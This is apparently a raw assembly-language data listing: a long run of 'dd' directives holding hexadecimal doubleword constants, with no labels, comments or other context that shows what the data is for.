		dd 8737C941h, 0AC00D082h, 0FFA0C701h, 0E00658B6h, 785F000Bh
		dd 36CA8AF7h, 0AF00C8C3h, 0CCE6C519h, 2B8898h, 0A8A557ABh
		dd 58E4183Eh, 0A90ECA7Ch, 906EB4h, 4B80BE4Eh, 8D6101DBh
		dd 9B33E952h, 9BF6Ah, 0AB80BFA4h, 0F0E46072h, 780E0088h
		dd 9994011h, 1E9039B8h,	0B9F9D600h, 0C4F86645h,	0B2D900EFh
		dd 37EB9876h, 0E35025B7h, 8B18C010h, 0EB79D9EEh, 92BC1498h
		dd 7E08F3h, 0CB794AF1h,	25E3E420h, 1BE2D03Ah, 0D020BD33h
		dd 0B4969h, 640F84D2h, 3CC44F3h, 1E14EA90h, 2370A410h
		dd 61C10068h, 3099528Fh, 9DC24486h, 8160780Eh, 7C4844FDh
		dd 5443FCC0h, 0B9F800ECh, 0A4C0E7DEh, 50C7EB86h, 0FA1075E0h
		dd 94BB0B4h, 46BD0393h,	20DE4886h, 74ADC600h, 4B1EEBCDh
		dd 0E8F0D82Dh, 431E566Dh, 3700E406h, 8CFBA27Ch,	19C60115h
		dd 1DA52B0Ah, 8477C8F2h, 4AA6A00h, 0D3A1DA60h, 305A008Ah
		dd 1CE92D97h, 2F02D706h, 0C980D14Ah, 3D86C0D9h,	0F532098Dh
		dd 80FDBBF9h, 0BAD6D0BAh, 56E40013h, 32808759h,	0F2780491h
		dd 4FE16304h, 7A8058A5h, 380778DBh, 0D4008BC8h,	0A11FB799h
		dd 0DC0081F4h, 91745708h, 3B0547h, 5FD852E7h, 4421E003h
		dd 778D8C06h, 301E65h, 3B1A9C09h, 0EF9779DBh, 0AF5BE30Eh
		dd 0FE180384h, 6070E221h, 0F28A33h, 9E3DF4CBh, 330C5CEDh
		dd 1731C90Eh, 5382C7BCh, 88F1EC5Fh, 83F70128h, 27FA92C1h
		dd 63D8DBD3h, 7F6048A0h, 0CA17A158h, 0BB851850h, 961CA077h
		dd 6C008B75h, 0F1079AC5h, 1F15B8E5h, 0DCF8F740h, 34A1C0C0h
		dd 0D9F9474Fh, 9BDC7400h, 2238ED5Ch, 37FA39D2h,	63B62B04h
		dd 0CF580A2h, 8B00E2DCh, 0F4A06ED0h, 0D6F9AD04h, 0E42E1008h
		dd 0FEF0E100h, 581DCB1Bh, 0D729AF00h, 0B79E538h, 0EDB51AF2h
		dd 0AB0331F8h, 0D81E56C6h, 8BC593D1h, 0A0001B35h, 36306D04h
		dd 180F7F46h, 1918BD75h, 87606737h, 7B2677F1h, 9AA0C6DAh
		dd 780059E7h, 0E5869F9Ch, 39C1931Fh, 4580FBC9h,	0FE31EE37h
		dd 2175F966h, 0BC723E00h, 85819188h, 625600FFh,	9AA0A461h
		dd 9E00D4B7h, 152292B8h, 55884Bh, 4D1A0FFEh, 8251B22Dh
		dd 840D7239h, 0CD565EC9h, 0E728D380h, 48B30015h, 728A5C90h
		dd 390058C8h, 0AC91C531h, 38782DBAh, 2F4B202h, 0CCED0D73h
		dd 71408E2Eh, 0E5009B72h, 0C1B4ABCAh, 0A3D49Dh,	23457DACh
		dd 17DCA0E1h, 0A2007BECh, 0CC75E506h, 26802097h, 0B9A90Ah
		dd 0BBD9A589h, 0B700CBD8h, 7E3C4490h, 0F8F31D46h, 4C2705B3h
		dd 7479207h, 0B331B4C3h, 8F90FE8Dh, 793D1574h, 64AF00D4h
		dd 5E8C41FCh, 913E1802h, 8AD0163Bh, 0D6A95C30h,	3AC82E48h
		dd 0C860546Fh, 97E632C3h, 0C66D3701h, 0BDB2B421h, 4499D8h
		dd 6F3104BCh, 0D6A3485Bh, 3A673503h, 0A1691DD2h, 2087BB7Dh
		dd 46486412h, 0B0300C2Eh, 142D1952h, 1D1901B5h,	0F16397FCh
		dd 2183DB35h, 55D5A9E0h, 375F8C00h, 0B4D45DC4h,	156501A0h
		dd 21BDB131h, 7F4050A6h, 287F8F48h, 0A0176843h,	16330047h
		dd 19E84B88h, 73EF070Ch, 0D08155h, 0A18BC9B5h, 0A9C7D1B9h
		dd 301D433Eh, 65E584Fh,	0F7630665h, 197FCF41h, 84153300h
		dd 0FE568297h, 0E6F900B6h, 7B534BEFh, 95002EA8h, 2A771662h
		dd 0AD12A7h, 5D20B4C8h,	55B5BC82h, 0FD9910C0h, 30082B05h
		dd 51580295h, 4801D1BFh, 0E25B1481h, 96FC840Fh,	0D25E3F29h
		dd 59838900h, 0B3514D56h, 1A771730h, 0C41676F9h, 0C0706499h
		dd 634B82FCh, 7AC0600Eh, 216D8C6Eh, 809800C2h, 64D13E50h
		dd 0B30CFF7h, 4EA84916h, 0B94F6921h, 64B3E600h,	0F600AF75h
		dd 0EE4A061Ah, 7D6218Bh, 0E5292DBCh, 313C103Dh,	4B1E5135h
		dd 0B783F710h, 0B8BB6D5Ah, 492F41h, 5DC73BB0h, 0CEFB8DBFh
		dd 0CA76439h, 0AD3A9E5h, 0B3F50083h, 3E22A2D5h,	6B07C83Dh
		dd 82652B71h, 0D416FDC0h, 0C1CC0004h, 0FE0DEAD7h, 4B00C236h
		dd 0A309F07Fh, 4CED58h,	25560F4h, 1A566B17h, 48001D74h
		dd 9458A2C2h, 9FF524h, 7A0BBF45h, 5E71C008h, 0F602F22Fh
		dd 36990058h, 3E0CCD66h, 4DB96800h, 0DA88A0FFh,	0CC7D00ADh
		dd 0FAE1518Ah, 591E9273h, 0DC8011D7h, 0BE1D6D71h, 0EAC872A9h
		dd 0D58C39D4h, 1D93C497h, 18F597E3h, 76A3585Ch,	9112C306h
		dd 10C4D7h, 5E82C0B8h, 0B6B3C750h, 0B7E8D91Dh, 20CFA60Ch
		dd 82BD000Eh, 229388B0h, 0A9003424h, 3F7B805h, 5FA3B6FAh
		dd 0D164C0A6h, 1214A22Ah, 88DFCBh, 9BC5ECCDh, 73F07ADh
		dd 7D11D3C8h, 81984AF8h, 8E5B16CDh, 3D98C0EFh, 7D0AB5F6h
		dd 0B0E707AAh, 0B38B3F00h, 50C9A6Bh, 85CDD711h,	801B870Bh
		dd 1F679436h, 1CFFF100h, 87A6FE0Eh, 28AF010Dh, 7591C6A0h
		dd 0E57C7044h, 0DCA9A726h, 16B04700h, 83DFADh, 2B4280AAh
		dd 8F58CD03h, 0AF6B21C0h, 95B0ADh, 4ED3AC1Eh, 0D490366Fh
		dd 0C1B8D803h, 9B0E17AEh, 0A0CB0F2h, 0EF700C74h, 8418ABEAh
		dd 6DE5FB0Fh, 0C9B38009h, 986972F4h, 0A0F4A398h, 0BA9047h
		dd 0C822A4E4h, 43AB78B1h, 35612C3Ah, 1C0021A1h,	705669A0h
		dd 1FED0036h, 11A5D0F3h, 900C4643h, 85B7DDAh, 1A5200B6h
		dd 4B2C935Ah, 9801CE04h, 2AF6DFBh, 0D081DB74h, 11A96890h
		dd 0DF405005h, 0C72351A4h, 0A71199h, 89A1D580h,	1C2DA4Eh
		dd 0FC105C95h, 0B125CB11h, 8EED0D8h, 0A405E00Ch, 63D1C736h
		dd 66832870h, 25F2AEh, 0A1D7D832h, 0D4BD5B2Ch, 0C3651400h
		dd 18FFCD9Ah, 0FE6D00F7h, 4816DB72h, 2C016444h,	0B890CB71h
		dd 24D1CE02h, 0E1E42180h, 0BBAE7A41h, 3A07D100h, 0AA5CEB79h
		dd 0DB02002Dh, 5B2A98D8h, 1B17573Eh, 590173FBh,	18959BB5h
		dd 0C5E4F0h, 0AC385E2Bh, 2BEDDEDh, 0E83D5900h, 80EB3366h
		dd 218F008Bh, 0E79F4A03h, 340054D2h, 45B7B4A0h,	5988755h
		dd 0FE7CC4C9h, 40BDC093h, 0EC7B5AE4h, 26DD6201h, 0F0A94337h
		dd 8FE370h, 4FE87103h, 0ED0E2572h, 5875900h, 0D36337A3h
		dd 48EF02E9h, 2AC51F83h, 0D9C488C0h, 70350D00h,	61E0DED5h
		dd 732E0036h, 17115904h, 16003258h, 0C2C614E9h,	147DD4Fh
		dd 0C79A96CDh, 0C02FC0CEh, 0E47EFE2Eh, 1D9BEA00h, 0F2FF3C67h
		dd 17140061h, 0FAF50AB2h, 0A67BEE2Dh, 4D995900h, 1A6F3C86h
		dd 69DC03CAh, 64EFB0E0h, 0AE6307Eh, 28BFBB00h, 0DCD1FF84h
		dd 6AD2006Ch, 1BD313A5h, 5F306962h, 0CA0F61CFh,	9A8C31Eh
		dd 0DCE0A1B7h, 0A0030C6h, 0FC879AD0h, 37E8260h,	934EA3B8h
		dd 3800655Eh, 7DA486Fh,	79671Bh, 0CDD06215h, 7C40EDAFh
		dd 33F29E06h, 120F92Eh
		dd 3FDB3697h, 0C0C9FA6Ah, 5800197Ch, 31AA6D62h,	30D2713h
		dd 39F9F867h, 5F9072D9h, 5A00E334h, 28259180h, 0B0B2488Fh
		dd 819900FFh, 0A2D80D1Fh, 653F9AE9h, 500CB068h,	176714h
		dd 0A118D224h, 0B55942A5h, 0C78C6B00h, 8DFBAAE7h, 6629367Dh
		dd 9125881h, 0D7F0B5DDh, 0A34B1D9Ah, 0CC3CCE4Fh, 0AF29630Ch
		dd 950286FAh, 0EB0F0D26h, 21988017h, 886013h, 94E42301h
		dd 97058EF4h, 0C1024B7Fh, 0B1A14C80h, 0AE8881CCh, 3CC45E60h
		dd 0E21A01D5h, 711D2654h, 3330D803h, 0FA64B103h, 0C0A08A25h
		dd 0BCDA8Bh, 0ACDE008h,	624205B6h, 80431238h, 98E54060h
		dd 18FBA3F5h, 2167F633h, 5400DAD4h, 1D32C1E0h, 1DDDCDBAh
		dd 4D18F5h, 12754E95h, 0AF00490Fh, 726243CEh, 7229EA8h
		dd 27C54BBAh, 16D5A0B9h, 100F6EB6h, 80DE725Fh, 0E0409719h
		dd 23B800BCh, 920F4DC4h, 2B008B36h, 4EB9B6ECh, 145F0DF4h
		dd 58D3E00Ch, 7A434180h, 0A8D0D14Ch, 0A581058h,	481AB200h
		dd 0ED8B388Ah, 0C11FA100h, 0AAF37887h, 31BC00CFh, 0B35C5A19h
		dd 8804598h, 717D3A0Fh,	8E794063h, 200014BBh, 9F20AC3Eh
		dd 30C9B9BCh, 8C00284h,	0D905A7E8h, 0C6A48D07h,	0DE8E881Ch
		dd 2059ACADh, 0BB023042h, 0BDC2DC1Eh, 0B2F00703h, 0E4D146Eh
		dd 8EA2FC21h, 669B06E3h, 12F2D4F8h, 0D5C56000h,	0A78C40E0h
		dd 7B9E2B7h, 0F4FB9D75h, 0B158B077h, 8100F652h,	0C5AF4790h
		dd 1C5AB0E1h, 800CDDA8h, 448BD56Eh, 0F9009F3Dh,	0D7819B68h
		dd 77220CFh, 0EE5F51F0h, 0E5B1004h, 9E00CDBCh, 901593C5h
		dd 672481h, 409C64F3h, 1918EF28h, 0DB8AB201h, 30C7E1B1h
		dd 0EAA35E0h, 1E4C1394h, 0A227DF00h, 26009850h,	938D0BD0h
		dd 1A97E8h, 0CD2D9BD4h,	7BC589D5h, 0ADA4E700h, 3285267Ah
		dd 7E5C38D7h, 0DEF33880h, 0AB86EF14h, 8A0B1907h, 3930896Bh
		dd 0A824A7h, 1218C7C6h,	468F04EAh, 687EFE0Ch, 0B03187h
		dd 0CA6473DBh, 0BA691F1Ch, 9D7D00Fh, 628DC04Fh,	22AB97EBh
		dd 0CC12F811h, 5005B1Eh, 0B40D4CBDh, 0AC4A39BCh, 14E69980h
		dd 1F1B6C55h, 29A4C361h, 0F7D489D8h, 0DE13075Ah, 7040735h
		dd 9DCBC0BAh, 0E648FFE3h, 4FEE0F35h, 0DC80E1A4h, 9FF136B4h
		dd 2E7E6470h, 1F400412h, 67E400DDh, 94743FCEh, 9DAFAA00h
		dd 0DED41BF4h, 5AFC3A66h, 0E65621AFh, 2CB2E600h, 1E1CC457h
		dd 7D84A62h, 80C3BADCh,	34598C2Ah, 4C1A9907h, 6DA0E19Dh
		dd 64A7C89h, 0B35EB062h, 197C2EC3h, 5835E400h, 920E3859h
		dd 0ACED3F63h, 8FE03D79h, 0AB8C1900h, 166971D9h, 3C52B801h
		dd 5B979D2Eh, 502FEEF0h, 959C87h, 32D82096h, 2870A40Ah
		dd 0C64EED01h, 0E71682F4h, 179A10D4h, 8E7C1Ah, 9FE8A128h
		dd 0FF004C3Bh, 0EB312CA5h, 1DB4A3Eh, 3773F98Bh,	0C893F2BEh
		dd 2F005A44h, 1D45B5E0h, 0E1E792h, 0F98A05A3h, 32DB6433h
		dd 7E666300h, 8BD2FD2Ch, 424B00C8h, 14A3CF2h, 0BBFCFCF6h
		dd 0C2159400h, 43DE2E3Fh, 187A1DC7h, 28C107BCh,	0A32180FDh
		dd 9300844Ch, 99C5A06h,	3EB044h, 3B3C0B9Dh, 9054C049h
		dd 82732C01h, 10BC7D59h, 6088E2C7h, 0A7CBD8h, 6921422Fh
		dd 0CD40BAB1h, 0CCD858h, 12933C09h, 0EA865834h,	0F9131898h
		dd 553E4088h, 0BD3037EEh, 80D2883Bh, 0C8FF6038h, 0B3620A5h
		dd 3FD37A00h, 0FA3416CAh, 0E072E7h, 8B0FED6Fh, 3DD60982h
		dd 72000CE2h, 298543Fh,	15C44Dh, 96D2FCFFh, 0F0211E3Ah
		dd 49D9381Eh, 1300FC3Dh, 0FDF6782Ah, 616A50DEh,	89982120h
		dd 4780EF02h, 36031F28h, 5CA07D45h, 93A391EAh, 7B109420h
		dd 39BBECB5h, 0D78151BCh, 162A086Dh, 0C5ACF0DBh, 0F61A7500h
		dd 0B97FCC77h, 80BA0672h, 38B75D45h, 8052CA39h,	0BC6EB5E4h
		dd 518D56h, 12C9F644h, 6B616764h, 8CF0F200h, 5B58BCBDh
		dd 91A60026h, 0EEC1BA7Dh, 3AFA6B64h, 34476703h,	0B09A57B9h
		dd 8401Dh, 0F77BB271h, 4D6F2585h, 0FECF520Eh, 0F5D320F8h
		dd 597148h, 0EE874763h,	3DCC4D0Fh, 0C5D98228h, 50BA7800h
		dd 20A47FC1h, 0E0C924A6h, 8C7104FFh, 0D3A1C0DBh, 0AB00DABDh
		dd 7E4A276h, 3DE19B5Ch,	0A1603EF4h, 0C3677AF6h,	0AFAC7E03h
		dd 0E0938B3Dh, 749269h,	0A9E0CD6Ch, 0FC5039D2h,	661DC901h
		dd 1BBECF98h, 0FDBC0C80h, 94799347h, 0B9F2BA0Eh, 3FD8A07Dh
		dd 0A812Fh, 5A807105h, 0AD2137A9h, 0CC1EE707h, 0DEB0C9E1h
		dd 26D934h, 12981C3Ah, 0B1259C88h, 96005672h, 4C3E81FFh
		dd 2EC517h, 0D3733FDAh,	0EC1C6030h, 6B271F07h, 8A179A16h
		dd 4BBD8710h, 0BF150E46h, 2F2107D8h, 30E83D28h,	0BDE2C3E2h
		dd 8F94B800h, 0AE61D7C1h, 7EF7D7Fh, 5859517Bh, 0D02C024h
		dd 0B8002068h, 0BB37B0E0h, 0D41FB2h, 8A98133h, 0C6F44991h
		dd 1E6FEB07h, 1D62F53Ah, 1FCC3C4h, 65D79FCEh, 0F4030C21h
		dd 471E82AEh, 1C0743Ch,	0A62DB072h, 0D2CB0012h,	97266A27h
		dd 3EB838FCh, 74149A00h, 0BE31A6BAh, 0F63D00D0h, 2FAF122h
		dd 0B300A475h, 2608AAC0h, 1F832927h, 0BE4A55D6h, 538CC900h
		dd 0E1B5F786h, 0E6FAF300h, 0C8B0362Eh, 67B872h,	62F6DEBCh
		dd 166C5F17h, 362D0E00h, 0BDB3EBD7h, 0A8950033h, 0B2641A8Dh
		dd 0C71F11B0h, 5A834B15h, 90547F43h, 0FAC6AA56h, 0F2D63A05h
		dd 4F3D9280h, 843C8A51h, 96A1B200h, 996D505Fh, 3B639061h
		dd 10801B42h, 0C83EA236h, 0C9000E5Ah, 41CCD0BCh, 7C2FDEh
		dd 0C1A81BF1h, 0BA9E0DF5h, 0FD16850Eh, 493819A5h, 0D93660h
		dd 0AE912755h, 0CB96E2FEh, 0A3BAE705h, 0CC0420C7h, 2C800BF8h
		dd 1D83B342h, 1E3C452Eh, 652C0036h, 531325D9h, 0D2AE8500h
		dd 3F5BEA7Fh, 0C9ECBCh,	4FF36230h, 3987CE32h, 509C9400h
		dd 0E8A74256h, 45470086h, 0C370CC64h, 900053BEh, 888D058Eh
		dd 0FAD8B2A2h, 0DCD30C0Bh, 0DDD0843Fh, 0F2FA2D00h, 61D6A2E3h
		dd 0B7D70004h, 0B5C93D83h, 0A600D43Ah, 208FF90Ah, 5EB7Dh
		dd 4DBBC62Fh, 0A5EE4345h, 8049BE01h, 0B1CDD14Ch, 1D455D4h
		dd 76A7A870h, 703D5AEAh, 38000790h, 9D23A33Ah, 0F7111BBh
		dd 0A770F501h, 0EF1A1600h, 2507E95Fh, 0B86D278h, 0E7D0B083h
		dd 9E072100h, 0D56C3A42h, 0DE505502h, 989013CEh, 9F006DAEh
		dd 7FD50892h, 0DFE109h,	80751E5Dh, 9E1348D6h, 0FEA1113Bh
		dd 7BA32600h, 0AE846AB7h, 50E8A1E1h, 213F220h, 59D75443h
		dd 92608A7Ah, 5600F083h, 19C7B290h, 1406BF89h, 0F4C4DA46h
		dd 3CD3151Fh, 32F5E102h, 49C017C3h, 0A0001D0Ah,	0A7B24739h
		dd 2D9D4Ah, 0B099796Ch,	5F9FE08Ah, 75D13200h, 7D29961Eh
		dd 25C40B83h, 0B101083Eh, 0D4AF6D0Eh, 7600FA6Fh, 5BE94AA5h
		dd 1D9D5A59h, 5F9329AAh, 25C50E51h, 3C684E00h, 40E0967Bh
		dd 7301441Fh, 0FBAD38C0h, 468A78h, 0E7CC2EBCh, 0C4FACF30h
		dd 9C6D8400h, 63941B2Ch, 0EE99005Eh, 6FB009D5h,	0E400DE4Bh
		dd 0D051B7A7h, 183858h,	9257FD7Bh, 6C52AD1h, 0EB760103h
		dd 82286FCCh, 4023C029h, 0FA3B1D4Fh, 7999F32h, 100B8E06h
		dd 7C1126DEh, 21E71A06h, 0DC4BBBh, 73CE759Dh, 0E25651F0h
		dd 691B7200h, 299F1E3Ch, 5439007Fh, 8F8C9537h, 0F7006C2Fh
		dd 0CB99F504h, 985728B8h, 9C4F2464h, 0D11FDCh, 0BBDBFE5h
		dd 0FA807823h, 0C52B007Fh, 391C7D40h, 0C1003344h, 0FBA060Bh
		dd 1D456CCEh, 46ECD9h, 0ED05EAA9h, 0C900F532h, 297218B8h
		dd 6BD0A5h, 178F43DBh
		dd 610201A1h, 0F3522A12h, 0A6747C47h, 0FB07E570h, 92500F7Bh
		dd 2860B19Ch, 0CE5A2A02h, 42957500h, 7A46B2F3h,	0C430E596h
		dd 2E44E2DDh, 0CF0478h,	0AC67A53Eh, 0CD328A4Ah,	4026F6F8h
		dd 3F60DC18h, 0B0827BB6h, 1ED0FA2h, 0AFE84F60h,	91A739h
		dd 563857BFh, 0F50F7EAh, 1C3EB48h, 89925FA2h, 0E000A9C2h
		dd 0BF6A5235h, 0B760A398h, 0A384A159h, 209F00FFh, 0EE744A9Ch
		dd 0EC00A0B6h, 0BAC64EC0h, 0F57F08Fh, 0BCE25986h, 0EAB8DC41h
		dd 130F20C3h, 0CB337E1Ch, 75D8D100h, 44F16h, 0F7D99C50h
		dd 315E7C8Eh, 0DAACDE01h, 0C052B514h, 0F87BF70h, 6198AACBh
		dd 31455B60h, 8185D25h,	1F28E192h, 0B4881F4Dh, 6DE747F9h
		dd 22F0D07Bh, 9B007D6Eh, 1BADD821h, 0FB08FDh, 0B6706C56h
		dd 88658CE9h, 3C3BCD1Eh, 2D175AC7h, 0EDBB9900h,	1BCC1C11h
		dd 6E7200BCh, 89C79724h, 80006492h, 0E5791035h,	9B28AEh
		dd 42477F98h, 0A093B2F0h, 8DE8B700h, 0FBD18461h, 4003098Fh
		dd 0F300A5AFh, 9CE09E15h, 0E57AF71Dh, 45398440h, 7802F9h
		dd 165296AEh, 76DB1BC5h, 493C351Fh, 0AC0056ECh,	2AB14D56h
		dd 0ECE64B36h, 4E007F3Bh, 0F9DCA8C9h, 0F6CDFBh,	6A7650B9h
		dd 0D8B3786Bh, 0DB182B0Fh, 0CDFFE045h, 962FD1h,	68801712h
		dd 0A4028EE5h, 10B543Ah, 227427FEh, 0EC308196h,	70E1014Ah
		dd 9D44215Ch, 300521CFh, 7E07070Eh, 3362FE48h, 0D8C3CAD0h
		dd 0D9490094h, 1E6D647Ah, 0BB003440h, 90170AA1h, 1D8B2A7Eh
		dd 121F3DDh, 48E37CE8h,	7ABEF002h, 80F948h, 3CAAB43Fh
		dd 15A4C6Bh, 212FDB4Dh,	30BF48EDh, 11196161h, 29984FC8h
		dd 0D3FA6EDCh, 76670038h, 0AAC3EC04h, 0EDBDF305h, 0E6C013DCh
		dd 1474C29h, 3E979A81h,	0E06228E4h, 39038927h, 458E4BEFh
		dd 1D683D8Bh, 1A0711Dh,	9AB77969h, 5F90D46Eh, 0A72BED00h
		dd 9C03337Ah, 285A4C7Bh, 92E43B2Ch, 88621BCBh, 1A0FD4C0h
		dd 98E58100h, 6065531Dh, 0F9BF3A37h, 0CADE8A00h, 6A7F1AFDh
		dd 11C124Ch, 0B3058C88h, 3DE40F9Ch, 4B8900E9h, 69C49D9Fh
		dd 16076053h, 87A8144Ch, 7F2EF080h, 565F002Dh, 349F0E71h
		dd 75007C1Eh, 4E8B600Dh, 38E72AEh, 0D342B087h, 27988943h
		dd 0E9007AA3h, 2FB84CAh, 1E56E36Ch, 39812D1Bh, 0CB8FE683h
		dd 0D0754B8Bh, 0CB00D00h, 9216AA84h, 985400CCh,	3B61ED4Fh
		dd 17F4EF58h, 0A6F0D361h, 14208F90h, 4B6CF247h,	76F876h
		dd 0D4BC263h, 292465h, 89BB0F5h, 58BF9EEDh, 0A5645600h
		dd 0DFB5AB91h, 33D1135Eh, 0CFC40497h, 2F8CA0C4h, 0FA7D5418h
		dd 852448h, 75562173h, 65FC8F6Ch, 63939C05h, 4B80B77Ch
		dd 5444F679h, 71EC87Fh,	0B6983A64h, 82C88112h, 0D0C0C6E5h
		dd 0C03478Fh, 1A6AE6CFh, 0C057A2DBh, 7CADD739h,	0CEED00F9h
		dd 5CE48EBAh, 1600B615h, 0E992F30h, 461F1Eh, 54DA176h
		dd 280224E9h, 4EAA9C07h, 4360B251h, 3B72EABh, 2210DF15h
		dd 0C79B25D2h, 8D988A80h, 0C519A600h, 0A32D91C6h, 48DA0068h
		dd 25CA5F51h, 0E770DD64h, 0DF187D28h, 0AFEE8F00h, 761EC6B5h
		dd 0BF910012h, 0C10C7BE1h, 7E000356h, 5899DBE7h, 7FB73C15h
		dd 0C5E50077h, 0EB193375h, 2603EAE0h, 4CE26BFCh, 5856B006h
		dd 68530049h, 720EEC77h, 0EB8F43Ch, 1E7AE21Ch, 0F9FE26C0h
		dd 3E491h, 8DAC1FB7h, 6F119CF5h, 0A780F72Eh, 0FA963D00h
		dd 0EC42BFDh, 6821275Dh, 33F242A0h, 60023C7Ah, 0E915C153h
		dd 12E0FFE3h, 270023ABh, 0B2744DB7h, 5DDC95h, 0E25A9B35h
		dd 40A678C0h, 0D6F24300h, 0CB19F3DFh, 64C10085h, 0AD8CA250h
		dd 0C50210CFh, 0D8F784FCh, 4C8CE008h, 66240085h, 0C4C928EFh
		dd 0BE7593FEh, 446C3101h, 837AB04Ah, 1D3B60F6h,	0F63600E0h
		dd 7BC7CED2h, 4C00073Eh, 22F7CCDAh, 0D0CBB6h, 85C99C54h
		dd 0D9845987h, 30051501h, 21A35EDDh, 0B0E96880h, 95F55841h
		dd 3743BD00h, 0F248166Ah, 0A10F00FAh, 0E3567D60h, 0C800A5E1h
		dd 69AD66C0h, 623FB216h, 0DB432820h, 3BBABC80h,	0A400C33Dh
		dd 0BC04DE7Ah, 0BF2EA9h, 0C8BE6684h, 0F86F9CD5h, 0F35FC300h
		dd 6EB43A99h, 0F5B90031h, 0D9292EE3h, 6975E823h, 9A748301h
		dd 812CD1B6h, 3B958BD8h, 0C300A4B2h, 0C48878E6h, 0C6486013h
		dd 637B020Ch, 8079649Eh, 0F4C856EAh, 0C2B40067h, 0CA35E40Bh
		dd 0D4000A5Bh, 0A34A7F5Ch, 0F71E1Dh, 0BA059492h, 0F063271Bh
		dd 74B48300h, 183AF24Ch, 45F100B6h, 0EA333E93h,	26782817h
		dd 7957581Ch, 95A78940h, 602C29h, 65C73CB5h, 0AC136CD1h
		dd 15E64F00h, 822B915Eh, 0A1E8F98Ah, 341F623h, 0C2D7E3A6h
		dd 0B898D377h, 0BD38653Eh, 5980093Fh, 66C020E8h, 3812941h
		dd 42FCA21Ch, 90E7D0B6h, 0D699952Ah, 1DEFAA00h,	1ACF4AF4h
		dd 5E0D000Bh, 20A58450h, 57487204h, 0C69500CBh,	0BDC1BEC2h
		dd 29640CC3h, 836007ECh, 6BBC2E0Eh, 81BAA0C8h, 370FB5h
		dd 0C3AE5D0Ch, 3BB24C26h, 0CAA73300h, 9C22302Bh, 0DF75FCh
		dd 6E0C639h, 51294A1Bh,	67F69400h, 210C25C4h, 5C49006Ch
		dd 0DAF7BF55h, 9818E33Ah, 655EF6C2h, 19B403CBh,	4969B7C4h
		dd 0A62C76D0h, 4890D773h, 796C9D10h, 647DC00h, 2F6696B8h
		dd 0C97AF0EBh, 0EDAB38h, 6A03AA82h, 283845F8h, 0D0A3E8h
		dd 0B465B664h, 0BB1AC5C6h, 0CB93C801h, 6DC2BE26h, 0C42048DDh
		dd 4A140C46h, 0D180B19Ah, 0A0126600h, 4C33F772h, 8C71DD3h
		dd 515A052Eh, 0B6858004h, 551C2280h, 9740BE61h,	26627085h
		dd 2F8A248Eh, 0FE830014h, 0DDF747B7h, 0F0A80D07h, 5C609564h
		dd 9DEE86h, 87AC06B3h, 3A4974E0h, 78914670h, 0CACFDD80h
		dd 7D899A6h, 85510456h,	160EEFEh, 7F89C0AEh, 6A0AA500h
		dd 462990DCh, 734401F2h, 17E8F11Ch, 0DD9EF87Dh,	76028679h
		dd 0A47F691Fh, 87A96345h, 63223920h, 604E4AAh, 52B686FDh
		dd 0C800C0BAh, 936BB214h, 3CA7F528h, 0DD81E587h, 0DF7CE173h
		dd 32E4C01Dh, 98B67900h, 188B9C6Ch, 21E31C28h, 0C588408Eh
		dd 78EDB162h, 15600307h, 0CF400936h, 0F0B6BA4Dh, 75D2009Bh
		dd 0EDE401ECh, 0CB3F6EE5h, 5298F5Dh, 0D7BCEE70h, 0FE433004h
		dd 6478C1BAh, 0C088CD03h, 5490B9D1h, 4234B18h, 0E454FAA0h
		dd 0E6AFEC0Dh, 0CD7300F1h, 793E4F9Ch, 350FA81Fh, 0C0528B70h
		dd 24B8F4AFh, 41300013h, 8E3ABCCFh, 9001341Ch, 3C5B6FD5h
		dd 0DCFDCC3Eh, 7B886C8h, 9CEFB23h, 8CAF4094h, 43953D9h
		dd 0B9E500A9h, 0B331D578h, 2087678Ah, 47CEF040h, 0AA000D48h
		dd 176BED6Dh, 2E298CFh,	0CDAB92A1h, 3FC127F3h, 9368FC9Ah
		dd 924B3C38h, 70008764h, 8030F583h, 25433B3Bh, 0DD39D500h
		dd 85267715h, 0CA537200h, 577C2803h, 0BCA93B80h, 271952B0h
		dd 9A01A2EBh, 9E94D8FEh, 9AD72075h, 3D844086h, 7D71FCh
		dd 8B27E958h, 0ABC7B6DCh, 0ED930E00h, 545A4660h, 33A002F6h
		dd 8BD6532Bh, 82B8A663h, 0CA3CE31Bh, 1D385849h,	4EC01F08h
		dd 0ADA63ABDh, 0D6D30EEDh, 226BEF06h, 89651C00h, 7E28FE2Dh
		dd 9A00FAE9h, 52CAA83Eh, 0C09EA579h, 0B9E1F190h, 0F00774B6h
		dd 0D1C83559h, 0BF0FC04Eh, 73F15E36h, 5C68FEC7h, 981E38ADh
		dd 0E7E3405Ch, 623B7E1Eh, 9B602400h, 6B640CD1h,	68880172h
		dd 2BB9E846h, 2C0DDC80h, 5AB1E404h, 7880762Ah, 7F1D69E3h
		dd 3E2F000Ah, 0FE423F1h, 0E23C636Dh, 22378302h,	88CBCC51h
		dd 72557FDh, 680F7123h
		dd 0B916207Ah, 0AF003F83h, 505C9DCEh, 5C87B69Eh, 0DD00EDD9h
		dd 331E0FC6h, 0EE0455C2h, 0D404994Ch, 7DE50680h, 9E7E09A6h
		dd 4C005DC7h, 70FB3398h, 3B03B200h, 1AAEC04Ch, 689A0056h
		dd 0ED0A7576h, 0C0059F3h, 0B2C39171h, 1D8967Dh,	987AE1DDh
		dd 0F4341D18h, 0E0128E5h, 9F375CE6h, 39F0BFE2h,	9E010E76h
		dd 5020547Bh, 0D95F75F8h, 8B2C1800h, 8EBF1340h,	0A5B400CAh
		dd 0FE501D78h, 59EA52D6h, 720047B0h, 8884DC89h,	5D2C354h
		dd 3574EA55h, 704097FEh, 0B14AC879h, 1101F4EEh,	0D37A3609h
		dd 8BE8F86Bh, 87ED1933h, 0FCD8BCDAh, 0EA1861B9h, 7E484635h
		dd 0AC7F12h, 2BF522E8h,	0D1E4A041h, 3EEF8A0Eh, 26CDEE8Ch
		dd 3C1083BBh, 650A937Ch, 0F108771h, 0EAA03F22h,	30AC46CEh
		dd 9A00FBFEh, 0FFE2CB2h, 0EAD613D3h, 0B0EE6FC6h, 201EAE87h
		dd 25626EDAh, 840E5090h, 60DDF398h, 9C415511h, 2FBF0B61h
		dd 7CA08D73h, 65196CDBh, 24CB7900h, 59DA86D0h, 0FB770325h
		dd 0BFE4AF23h, 2C0B610Ch, 0BB05911h, 8699936Eh,	3D230F80h
		dd 4350DE02h, 5400743Ch, 47EB2BBFh, 7F564CBBh, 0C7FD5170h
		dd 0B812FFCh, 11491C3Fh, 2D7DC100h, 1073124h, 972B2546h
		dd 0D51CB820h, 0D24900A6h, 5972C5ABh, 7B1FF30Ah, 8EFAD8E6h
		dd 20C2A940h, 8728D6E7h, 7E1003F5h, 0D95979E4h,	418166F0h
